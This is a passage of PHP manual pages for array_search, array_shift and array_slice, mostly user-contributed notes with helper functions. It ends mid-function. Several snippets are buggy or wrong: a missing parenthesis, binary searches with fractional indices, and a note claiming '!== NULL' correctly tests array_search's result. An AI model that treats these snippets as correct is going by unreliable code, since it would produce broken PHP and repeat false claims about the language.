str1 = 0, str2 = 0, str3 = 0, str1 strict = 1, str2 strict = 2, str3 strict = 3
dcez at land dot ru 30-Apr-2008 10:15
Simple way to get variable name by using array_search function:

<?php

function varname($var){

    return (isset($var))? array_search($var, $GLOBALS) : false;

}

$boogie = 'tonight';

echo varname($boogie);

?>
andreas dot damm at maxmachine dot de 04-Apr-2008 01:07
Combining syntax of array_search() and functionality of array_keys() to get all key=>value associations of an array with the given search-value:
<?php
function array_search_values( $m_needle, $a_haystack, $b_strict = false){
    return array_intersect_key( $a_haystack, array_flip( array_keys( $a_haystack, $m_needle, $b_strict)));
}
?>

Usage:
<?php
$array1 = array( 'pre'=>'2', 1, 2, 3, '1', '2', '3', 'post'=>2);
print_r( array_search_values( '2', $array1));
print_r( array_search_values( '2', $array1, true));
print_r( array_search_values( 2, $array1, true));
?>

Will return:
array(4) {
    ["pre"] =>
    string(1) "2"
    [1] =>
    int(2)
    [4] =>
    string(1) "2"
    ["post"] =>
    int(2)
}
array(2) {
    ["pre"] =>
    string(1) "2"
    [4] =>
    string(1) "2"
}
array(2) {
    [1] =>
    int(2)
    ["post"] =>
    int(2)
}
kermes [at] thesevens [dot] net 12-Sep-2007 12:09
A variation of previous searches that returns an array of keys that match the given value:

<?php
function array_ksearch($array, $str)
{
    $result = array();
    for($i = 0; $i < count($array); next($array), $i++)
        if(strtolower(current($array)) == strtolower($str))
            array_push($result, key($array);

    return $result;
}
?>

Usage would be as follows:
<?php
$testArray = array('one' => 'test1', 'two' => 'test2', 'three' => 'test1', 'four' => 'test2', 'five' => 'test1');
    print_r(array_ksearch($testArray, 'test1'));
?>
robertark at gmail dot com 02-Sep-2007 08:20
A better array_isearch would be to store all results in an array, then return the KEYS stored in $found, such as:

<?php
function array_isearch($str, $array){
  $found = array();
  foreach ($array as $k => $v)
      if (strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}
?>

To use, simply have an array to search from then search it, for example:

<?php

function array_isearch($str, $array) {
  $found = array();
  foreach($array as $k => $v)
    if(strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}

$stored = "these are an array";
$stored = explode(" ", $stored);

$compare = array("these", "are", "some", "results", "stored", "in", "an", "array");
foreach($stored as $store) {
  $results = array_isearch($store, $compare);
  foreach($results as $key => $result)
    echo "Key: ".$results[$key]."<br />Found: ".$compare[$result]."<br />";
}

?>

Hope this helps :-)

-Rob
php5 site builder 23-May-2007 07:14
If you encounter a situation where condition test is failing on the result of either array_search or in_array, even when using "===" and "!==", make sure to set $strict = true in your array_search() or in_array() function call.

A situation such as :

$arTemp[0] = 1;
$arTemp[1] = 0;
$arTemp[2] = 3;
$arTemp[3] = 5;
$sTempTest = 'BLAH';

$bResult = in_array($sTempTest,$arTemp);
$bResult2 = array_search($sTempTest,$arTemp);

var_dump($bResult);
var_dump($bResult2);

will result in :

boolean true
int 1

Using :

$bResult = in_array($sTempTest,$arTemp,true);
$bResult2 = array_search($sTempTest,$arTemp,true);

will yield :
boolean false
boolean false

This is necessary in any instance where you have an array value equal to the integer zero.  As soon as you put the zero in quotes or double quotes (a string), the evaluation works with in_array & array_search without the $strict parameter being set.
elvenone at gmail dot com 27-Jan-2007 02:10
<?php
                // Search an array in reverse order.
        function array_reverse_search($value, $array) {
             for($i = sizeof($array)-1; $i>=0; $i--) {
                if ($array[$i] == $value) return $i;
             }
            return -1;
        }
?>
dmitry dot polushkin at gmail dot com 22-Oct-2006 07:03
To get the key of the found search value, use:
<?php
$a = array('a', 'b', 'c');
echo array_search(array_search('c', $a), array_keys($a));
?>
mark dot php at mhudson dot net 12-Sep-2006 02:49
I was going to complain bitterly about array_search() using zero-based indexes, but then I realized I should be using in_array() instead.

// if ( isset( $_GET['table'] ) and array_search( $_GET['table'], $valid_tables) ) {  // BAD: fails on first[0] element
// if ( isset( $_GET['table'] ) and ( FALSE !== array_search( $_GET['table'], $valid_tables) ) ) { OK: but wasteful and convoluted
   if ( isset( $_GET['table'] ) and in_array( $_GET['table'], $valid_tables) ) { // BETTER

The essence is this: if you really want to know the location of an element in an array, then use array_search, else if you only want to know whether that element exists, then use in_array()
RichGC 20-Mar-2006 02:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
congaz at yahoo dot dk 10-Mar-2006 04:38
Search a multi-dimensional array on keys!
-------------------------------------------

I needed to search dynamically in a multi-dimen array on keys. I came up with this little neat function. It is so amazingly simple, that I actually didn't think it would work - but it does...

mixed array_searchMultiOnKeys(array, array);

<?php
function array_searchMultiOnKeys($multiArray, $searchKeysArray) {
    // Iterate through searchKeys, making $multiArray smaller and smaller.
    foreach ($searchKeysArray as $keySearch) {
        $multiArray = $multiArray[$keySearch];
        $result = $multiArray;
    }

    // Check $result.
    if (is_array($multiArray)) {
        // An array was found at the end of the search. Return true.
        $result = true;
    }
    else if ($result == '') {
        // There was nothing found at the end of the search. Return false.
        $result = false;
    }

    return $result;
// End of function,
}

// --- Test array_searchMultiOnKeys ---
$multiArray['webpages']['downloads']['music'] = 1;
$multiArray['webpages']['downloads']['pressmaterial'] = 5;
$multiArray['webpages']['links'] = 7;

array_searchMultiOnKeys($multiArray, array('webpages', 'links')); // returns 7.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads')); // returns true.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads', 'software')); // returns false.

?>

$multiArray / $searchKeysArray can be any size.

Happy hacking...
09-Feb-2006 03:26
may be good to take note of PHP's mind-boggling 'fuzzy' (vulgo "magic type-casting") comparison features not only in using the results, but also in the search, too:
<?php
$a=array("a","b",0,"c","d");
echo "a: ".array_search("a",$a);
echo "b: ".array_search("b",$a);
echo "c: ".array_search("c",$a);
echo "d: ".array_search("d",$a);
echo "0: ".array_search("0",$a);
echo "x: ".array_search("x",$a);
echo "1: ".array_search("1",$a);
?>
will result in:
a: 0, b: 1, c: 2, d: 2, 0: 2, x: 2, 1: false

as from "c" on, the first match found in $a is "0", as any string compared to an int is automatically cast to (int)0.
22-Oct-2004 02:01
There is no function to count the occurences of needle in haystack, so I made my own one...

<?php
function array_match($needle, $haystack)
{
    if( !is_array($haystack) ) return false;

    $i = 0;
    while( (in_array( $needle, $haystack )) != FALSE )
    {
        $i++;
        $haystack[array_search($needle, $haystack)] = md5($needle);
        reset($haystack);
    }

    return $i;
}
?>

I know it's a bit crappy, but don't ask me too much, I'm still only 13... ;)
dennis dot decoene at removthis dot moveit dot be 17-Jan-2004 07:41
It has been said before: array_search is VERY slow. Everyone knows binary search is fast by design. Here is an implementation.

<?php
$arr=array(1,3,5,7,9,10,11,13);
$searchfor = 6;
echo binsearch($searchfor, $arr);

/**
 * @return integer
 * @param var $needle
 * @param array $haystack
 * @desc Feed a sorted array to $haystack and a value to search for to $needle.
             It will return false if not found or the index where it was found.
             This function is superfast. Try an array with 50.000 elements and search for something,
             you will be amazed.
*/
function binsearch($needle, $haystack)
{
    $high = count($haystack);
    $low = 0;

    while ($high - $low > 1){
        $probe = ($high + $low) / 2;
        if ($haystack[$probe] < $needle){
            $low = $probe;
        }else{
            $high = $probe;
        }
    }

    if ($high == count($haystack) || $haystack[$high] != $needle) {
        return false;
    }else {
        return $high;
    }
}
?>
php at celerondude dot com 12-Nov-2003 12:07
I think array_search uses serial search because they binary search function i wrote here seems to do a better job for records that are not always at the beginning of the array.

Here it is

<?php
function binarySearch ( $a, $t, $l, $r )
{
    if($t<$a[$l]||$t>$a[$r])return NULL;
    while ( $l < $r )
    {
        $m=intval($l+$r)/2;
        if($a[$m]==$t)return $m;
        elseif($t<$a[$m])$r=$m-1;
        elseif($t>$a[$m])$l = $m + 1;
    }
    if($t==$a[$r])
    return $r;
    return NULL;
}
?>

usage:
binarySearch ( array, target, left range, right range );

if your array is a multidimensional array, simply change the comparison method. :)
cue at openxbox dot com 10-Jun-2003 04:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>
richard at richard-sumilang dot com 16-Apr-2003 12:59
<?php
/**
     *    Search an array recursivly
     *
     *    This function will search an array recursivly
     *    till it finds what it is looking for. An array
     *    within an array within an array within array
     *    is all good :-)
     *
     *    @author        Richard Sumilang    <richard@richard-sumilang.com>
     *    @param        string    $needle        What are you searching for?
     *    @param        array    $haystack    What you want to search in
     *    @return        boolean
     *    @access        public
     */
    function array_search_r($needle, $haystack){
        foreach($haystack as $value){
            if(is_array($value))
                $match=array_search_r($needle, $value);
            if($value==$needle)
                $match=1;
            if($match)
                return 1;
        }
        return 0;
    }
?>
swbrown at ucsd dot edu 02-May-2002 10:18
Be absolutely sure to check that your code that uses array_search now checks for 'false' too if you upgrade to PHP 4.2.0!

I was using array_search in my page authentication routines and this change had the fun side-effect of causing my code to always think a user had full permissions!  It was letting anyone click through to our installation of phpMyAdmin.  Not good indeed!


Shift an element off the beginning of array

  • « array_search
  • array_slice »
  • PHP Manual
  • Array Functions
  • Shift an element off the beginning of array

array_shift

(PHP 4, PHP 5)

array_shift — Shift an element off the beginning of array

Description

mixed array_shift ( array &$array )

array_shift() shifts the first value of the array off and returns it, shortening the array by one element and moving everything down. All numerical array keys will be modified to start counting from zero while literal keys won't be touched.

Note: This function will reset() the array pointer of the input array after use.

Parameters

array

The input array.

Return Values

Returns the shifted value, or NULL if array is empty or is not an array.

Examples

Example #1 array_shift() example

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

The above example will output:

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

and orange will be assigned to $fruit.

See Also

  • array_unshift() - Prepend one or more elements to the beginning of an array
  • array_push() - Push one or more elements onto the end of array
  • array_pop() - Pop the element off the end of array

User Contributed Notes

michaeljanikk at gmail dot com 14-May-2014 10:26
To remove an element from the MIDDLE of an array (similar to array_shift, only instead of removing the first element, we want to remove an element in the middle, and shift all keys that follow down one position)

Note that this only works on enumerated arrays.

<?php
$array = array('a', 'b', 'c', 'd', 'e', 'e');
/*
array(6) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "e"
}
*/

$indexToRemove = 2;
unset($array[$indexToRemove]);
$array = array_slice($array, 0);

/*
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "d"
  [3]=>
  string(1) "e"
  [4]=>
  string(1) "e"
}
*/
?>

I hope this helps someone!
drum_inc at yahoo dot com 24-Aug-2013 02:27
Assignment in line, does not remove the element.

$first = array_shift( $arr = array( 0 => '1st', 2 => '2nd', 3 => '3rd') );
print_r( $first );
print_r( $arr );

Output:
1st
Array
(
    [0] => 1st
    [2] => 2nd
    [3] => 3rd
)
elad dot yosifon at gmail dot com 11-Aug-2013 03:47
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
info at chihoang dot de 20-Apr-2011 06:46
This doesn't work with a 2 dimensional array. With 2 dimensional array I do this:

<?php
$backup = $arr;
$first = array_shift ( $backup );
?>
ar at xonix dot ch 14-Aug-2010 12:54
If you need the first or last entry of an array, then this could help you.

<?php
function array_last_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    return end($arr);
}

function array_first_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    reset($arr);
    return current($arr);
}

$arr = array( '5' => 'five', '3' => 'three', '8' => 'eight',);

echo 'last entry: '.array_last_entry($arr).'<br>';

echo 'first entry: '.array_first_entry($arr).'<br>';

echo 'alternative output:<br>';

echo 'last entry: '.$arr[count($arr)-1];

echo '<br>first entry: '.$arr[0];
?>

The output will look like:
last entry: eight
first entry: five
alternative output:
last entry:
first entry:

As you can see, if you have to handle arrays with non-continuous indexes, these functions may be very helpful.
patrick at pwfisher dot com 22-Aug-2009 05:23
Here's a utility function to parse command line arguments.

<?php
/**
 * CommandLine class
 *
 * @package             Framework
 */
/**
 * Command Line Interface (CLI) utility class.
 *
 * @author              Patrick Fisher <patrick@pwfisher.com>
 * @since               August 21, 2009
 * @package             Framework
 * @subpackage          Env
 */
class CommandLine {

    /**
     * PARSE ARGUMENTS
     *
     * [pfisher ~]$ echo "<?php
     * >     include('CommandLine.php');
     * >     \$args = CommandLine::parseArgs(\$_SERVER['argv']);
     * >     echo "\n", '\$out = '; var_dump(\$args); echo "\n";
     * > ?>" > test.php
     *
     * [pfisher ~]$ php test.php plain-arg --foo --bar=baz --funny="spam=eggs" --alsofunny=spam=eggs \
     * > 'plain arg 2' -abc -k=value "plain arg 3" --s="original" --s='overwrite' --s
     *
     * $out = array(12) {
     *   [0]                => string(9) "plain-arg"
     *   ["foo"]            => bool(true)
     *   ["bar"]            => string(3) "baz"
     *   ["funny"]          => string(9) "spam=eggs"
     *   ["alsofunny"]      => string(9) "spam=eggs"
     *   [1]                => string(11) "plain arg 2"
     *   ["a"]              => bool(true)
     *   ["b"]              => bool(true)
     *   ["c"]              => bool(true)
     *   ["k"]              => string(5) "value"
     *   [2]                => string(11) "plain arg 3"
     *   ["s"]              => string(9) "overwrite"
     * }
     *
     * @author              Patrick Fisher <patrick@pwfisher.com>
     * @since               August 21, 2009
     * @see                 http://www.php.net/manual/en/features.commandline.php
     *                      #81042 function arguments($argv) by technorati at gmail dot com, 12-Feb-2008
     *                      #78651 function getArgs($args) by B Crawford, 22-Oct-2007
     * @usage               $args = CommandLine::parseArgs($_SERVER['argv']);
     */
    public static function parseArgs($argv){

        array_shift($argv);
        $out                            = array();

        foreach ($argv as $arg){

            // --foo --bar=baz
            if (substr($arg,0,2) == '--'){
                $eqPos                  = strpos($arg,'=');

                // --foo
                if ($eqPos === false){
                    $key                = substr($arg,2);
                    $value              = isset($out[$key]) ? $out[$key] : true;
                    $out[$key]          = $value;
                }
                // --bar=baz
                else {
                    $key                = substr($arg,2,$eqPos-2);
                    $value              = substr($arg,$eqPos+1);
                    $out[$key]          = $value;
                }
            }
            // -k=value -abc
            else if (substr($arg,0,1) == '-'){

                // -k=value
                if (substr($arg,2,1) == '='){
                    $key                = substr($arg,1,1);
                    $value              = substr($arg,3);
                    $out[$key]          = $value;
                }
                // -abc
                else {
                    $chars              = str_split(substr($arg,1));
                    foreach ($chars as $char){
                        $key            = $char;
                        $value          = isset($out[$key]) ? $out[$key] : true;
                        $out[$key]      = $value;
                    }
                }
            }
            // plain-arg
            else {
                $value                  = $arg;
                $out[]                  = $value;
            }
        }
        return $out;
    }
}
?>
regs at voidship dot net 03-Nov-2008 09:50
Using array_shift over larger array was fairly slow.  It sped up as the array shrank, most likely as it has to reindex a smaller data set.

For my purpose, I used array_reverse, then array_pop, which doesn't need to reindex the array and will preserve keys if you want it to (didn't matter in my case).

Using direct index references, i.e., array_test[$i], was fast, but direct index referencing + unset for destructive operations was about the same speed as array_reverse and array_pop.  It also requires sequential numeric keys.
chris {at} w3style {dot} co {dot} uk 06-Oct-2008 03:06
As pointed out earlier, in PHP4, array_shift() modifies the input array by-reference, but it doesn't return the first element by reference.  This may seem like very unexpected behaviour.  If you're working with a collection of references (in my case XML Nodes) this should do the trick.

<?php

/**
 * This function exhibits the same behaviour is array_shift(), except
 * it returns a reference to the first element of the array instead of a copy.
 *
 * @param array &$array
 * @return mixed
 */
function &array_shift_reference(&$array)
{
  if (count($array) > 0)
  {
    $key = key($array);
    $first =& $array[$key];
  }
  else
  {
    $first = null;
  }
  array_shift($array);
  return $first;
}

class ArrayShiftReferenceTest extends UnitTestCase
{

  function testFunctionRemovesFirstElementOfNumericallyIndexedArray()
  {
    $input = array('foo', 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionRemovesFirstElementOfAssociativeArray()
  {
    $input = array('x' => 'foo', 'y' => 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('y' => 'bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionReturnsReferenceToFirstElementOfNumericallyIndexedArray()
  {
    $foo = 'foo';
    $input = array(&$foo, 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsReferenceToFirstElementOfAssociativeArray()
  {
    $foo = 'foo';
    $input = array('x' => &$foo, 'y' => 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsNullIfEmptyArrayPassedAsInput()
  {
    $input = array();
    $first = array_shift_reference($input);
    $this->assertNull($first, '%s: Array has no first element so NULL should be returned');
  }

}

?>
sggoyal at gmail dot com 08-Sep-2008 07:08
// To Change order of Array by Saurabh Goyal
    function change_array_order($table,$order)
    {
       //init the new table
       $new_table = array();
       foreach($order as $colname)
       {
          $new_table[$colname] = $table[$colname];
       }
       return $new_table;
    }

if array value like:-
$row = array('usr_id'=>'23','usr_name'=>'Saurabh', 'usr_surname'=>'Goyal','usr_firstname'=>'Saurabh');

//you want change order & show only particular field
change_array_order($row,array('usr_name','usr_firstname',
                                            'usr_surname'));

Regard's

Saurabh Goyal
http://sggoyal.blogspot.com
nospam at dyce dot losethisbit dot com 02-Jul-2008 02:15
Just a useful version which returns a simple array with the first key and value. Porbably a better way of doing it, but it works for me ;-)

<?php

function array_kshift(&$arr)
{
  list($k) = array_keys($arr);
  $r  = array($k=>$arr[$k]);
  unset($arr[$k]);
  return $r;
}

// test it on a simple associative array
$arr = array('x'=>'ball','y'=>'hat','z'=>'apple');

print_r($arr);
print_r(array_kshift($arr));
print_r($arr);

?>

Output:

Array
(
    [x] => ball
    [y] => hat
    [z] => apple
)
Array
(
    [x] => ball
)
Array
(
    [y] => hat
    [z] => apple
)
Maikel 19-Feb-2008 06:43
In response to nando_f at nothingsimple dot com

The example is correct,  array_shift do an unset to first element  because the parameter is passed by reference
Ben 03-Oct-2007 06:17
baughmankr at appstate dot edu, I think this is more efficient.

<?php
function array_shorten($arr)
{
  list($k) = array_keys($arr);
  unset($arr[$k]);
  return $arr;
}
?>
baughmankr at appstate dot edu 18-Sep-2007 11:04
I needed to remove the first set of keys and values from an associative array.  Had to write this function:

function shortenArray($_arr)
{
    $i=1;
    $_shorter=array();
    foreach ($_arr as $k => $v)
    {
        if ($i != 1)
        {
            $_shorter[$k] = $v;
        }
        $i++;
    }
    return $_shorter;
}
dmhouse at gmail dot com 08-Aug-2007 10:54
If you want a version of array_shift() that works non-destructively (i.e., an easy function to grab the first element of the array without modifying the array), try reset().
Traps 09-Jul-2007 07:52
For those that may be trying to use array_shift() with an array containing references (e.g. working with linked node trees), beware that array_shift() may not work as you expect: it will return a *copy* of the first element of the array, and not the element itself, so your reference will be lost.

The solution is to reference the first element before removing it with array_shift():

<?php

// using only array_shift:
$a = 1;
$array = array(&$a);
$b =& array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 1, b = 2

// solution: referencing the first element first:
$a = 1;
$array = array(&$a);
$b =& $array[0];
array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 2, b = 2

?>
C_Prevost at myob 01-May-2007 01:52
no, it demonstrates quite well that it removes the first element in the original array, updating the keys, and that it also returns the original first element.
richard at happymango dot me dot uk 12-Apr-2007 03:09
If you want to loop through an array, removing its values one at a time using array_shift() but also want the key as well, try this.

<?php

while($key = key($array))
{
     $value = array_shift($array);
     //code goes here
}

?>

its like foreach but each time the value is removed from the array so it eventually ends up empty

<?php

//example below

$airports = array
(
    "LGW" => "London Gatwick",
    "LHR" => "London Heathrow",
    "STN" => "London Stanstead"
);

echo count($airports)." Airport in the array<br /><br />";

while($key = key($airports))
{
    $value = array_shift($airports);
    echo $key." is ".$value."<br />";
}

echo "<br />".count($airports)." Airport left in the array";

?>

Example Outputs:

3 Airport in the array

LGW is London Gatwick
LHR is London Heathrow
STN is London Stanstead

0 Airport left in the array
alreece45 at yahoo dot com 10-Aug-2006 05:13
I haven't really read into it, but if you're complaining about a change in PHP 5.0.5 that made it so you couldn't do:

<?php

$val = array_shift(preg_split());

?>

or

<?php

$val = array_shit(function_that_returns_array);

?>

Then you're not using this function correctly. This function's argument is supposed to be a pointer to a variable. It then modifies that variable and returns a value. When you specify a function, php CAN NOT modify the return value of that function. It should be common sense but apparently its not.

Also, on a efficiency note, you might want to consider using another function such as reset or perhaps making your own function such as below:

<?php

function first_element($array) {

return reset($array);

}

?>

Unless of course for some reason you need to save the microseconds this takes.

}
bmr at ediweb dot org 31-May-2006 04:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
20-Sep-2005 04:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
    // break strings at slashes
    $s_parts            = explode('/', $inSourcePath);
    $r_parts            = explode('/', $inRefPath);

    // delete items up to the first non-equal part
    while ($s_parts[0] === $r_parts[0])
    {
        array_shift($s_parts);
        array_shift($r_parts);
    }

    // add wild card to r_parts for each remaining
    // item of s_parts
    while ($s_parts[0])
    {
        array_unshift($r_parts, '..');
        array_shift($s_parts);
    }

    return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//     Given a source path $sp generates the relative
//     location of $rp. $sp could be assigned using
//     $_SERVER['PHP_SELF'] but it's hardcoded for
//     the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com 27-Jul-2005 02:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
      array('row 1-cell 1','row 1-cell 2'),
      array('row 2-cell 1','row 2-cell 2'),
      array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
      echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com 20-Apr-2005 03:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 01:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
    reset($array);
    $key = key($array);
    $removed = $array[$key];
    unset($array[$key]);
    return $removed;
}

?>
James McGuigan 14-Dec-2004 08:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown


Extract a slice of the array

  • « array_shift
  • array_splice »
  • PHP Manual
  • Array Functions
  • Extract a slice of the array

array_slice

(PHP 4, PHP 5)

array_slice — Extract a slice of the array

Description

array array_slice ( array $array , int $offset [, int $length = NULL [, bool $preserve_keys = false ]] )

array_slice() returns the sequence of elements from the array array as specified by the offset and length parameters.

Parameters

array

The input array.

offset

If offset is non-negative, the sequence will start at that offset in the array. If offset is negative, the sequence will start that far from the end of the array.

length

If length is given and is positive, then the sequence will have up to that many elements in it. If the array is shorter than the length, then only the available array elements will be present. If length is given and is negative then the sequence will stop that many elements from the end of the array. If it is omitted, then the sequence will have everything from offset up until the end of the array.

preserve_keys

Note that array_slice() will reorder and reset the numeric array indices by default. You can change this behaviour by setting preserve_keys to TRUE.

Return Values

Returns the slice.

Changelog

Version | Description
5.2.4 | The default value of the length parameter was changed to NULL. A NULL length now tells the function to use the length of array. Prior to this version, a NULL length was taken to mean a zero length (nothing will be returned).
5.0.2 | The optional preserve_keys parameter was added.

Examples

Example #1 array_slice() examples

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2);      // returns "c", "d", and "e"
$output = array_slice($input, -2, 1);  // returns "d"
$output = array_slice($input, 0, 3);   // returns "a", "b", and "c"

// note the differences in the array keys
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

The above example will output:

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

See Also

  • array_splice() - Remove a portion of the array and replace it with something else
  • unset() - Unset a given variable
  • array_chunk() - Split an array into chunks

User Contributed Notes

fraterjan at gmail dot com 18-Oct-2014 07:14
To make sure numerical key values for associative arrays are not converted to integers set $preserve_keys = true.

Example:
$slice = array_slice($array, 0, 3, $preserve_keys = true);
robert dot johnson at icap dot com 12-Sep-2014 06:58
array_slice() seems to work on associative arrays and preserves the keys.  I just ran this test on PHP 5.5:

<?php
$test = array(
    'a'=>'hello 1',
    'r'=>'hello 2',
    'h'=>'hello 3',
    'w'=>'hello 4',
    't'=>'hello 5',
    'n'=>'hello 6',
    'k'=>'hello 7',
    'b'=>'hello 8');
print_r( array_slice($test,2,5) );
?>

Output:
Array
(
    [h] => hello 3
    [w] => hello 4
    [t] => hello 5
    [n] => hello 6
    [k] => hello 7
)
info [at] saiptek.com 12-Mar-2014 10:04
Here is analog to this function. Hope that it helps

function filter_array($input_array, $filter_from, $filter_to)
        {
            $output_array = array();

            foreach ($input_array as $key => $value)
            {
                if($key>=$filter_from && $key<=$filter_to)
                {
                    $output_array[] = $value;
                }
                elseif ($key>$filter_to)
                {
                    //if the key is larger than what we want to filter
                    //it is useless to continue looping
                    break;
                }
                else
                {
                    //if the key is smaller than what we expect
                    continue;
                }

            }

            return $output_array;
        }

// you can add more security defenses for the variables - e.g. if it is string or something like that
Ray.Paseur often uses Gmail 06-Jun-2013 11:44
<?php
// CHOP $num ELEMENTS OFF THE FRONT OF AN ARRAY
// RETURN THE CHOP, SHORTENING THE SUBJECT ARRAY
function array_chop(&$arr, $num)
{
    $ret = array_slice($arr, 0, $num);
    $arr = array_slice($arr, $num);
    return $ret;
}
gary at wits dot sg 11-Jun-2011 08:44
I've found this useful.
The following is a function used to shuffle a very specific part of the array, by providing start and end index.

<?php
function array_shuffle_section(&$a, $s, $e) {
    $head = array_slice($a, 0, $s);
    $body = array_slice($a, $s, $e-$s+1);
    $tail = array_slice($a, $e+1);

    shuffle($body);
    $a = array_merge($head,$body,$tail);
}
?>
Nathan - thefiscster510 at gmail dot com 29-Mar-2011 07:38
If you want to remove a specified entry from an array i made this mwethod...

<?php
$array = array("Entry1","entry2","entry3");

$int = 3; //Number of entries in the array
$int2 = 0; //Starter array spot... it will begine its search at 0.
$del_num = 1; //Represents the second entry in the array... which is the one we will happen to remove this time... i.e. 0 = first entry, 1 = second entry, 2 = third...........

$newarray = array(); //Empty array that will be the new array minus the specified entry...
print_r($array) . "<br>";    //print original array contents
print_r($newarray). "<br>"; //print the new empty array

do
{
$user = $array[$int2];
$key = array_search($user, $array);
if ($key == $del_num)
{

}
else
{
$newarray[] = $array[$int2];
}

$int2 = $int2 + 1;
} while ($int2 < $int);

print_r($newarray). "<br>"; //print the new array

?>
delew 11-Feb-2011 10:17
just a little tip.
to preserve keys without providing length: use NULL

array_slice($array, $my_offset, NULL, true);
xananax at yelostudio dot com 03-Feb-2011 04:23
<?php
/**
 * Reorders an array by keys according to a list of values.
 * @param array $array the array to reorder. Passed by reference
 * @param array $list the list to reorder by
 * @param boolean $keepRest if set to FALSE, anything not in the $list array will be removed.
 * @param boolean $prepend if set to TRUE, will prepend the remaining values instead of appending them
 * @author xananax AT yelostudio DOT com
 */
function array_reorder(array &$array,array $list,$keepRest=TRUE,$prepend=FALSE,$preserveKeys=TRUE){
    $temp = array();
    foreach($list as $i){
        if(isset($array[$i])){
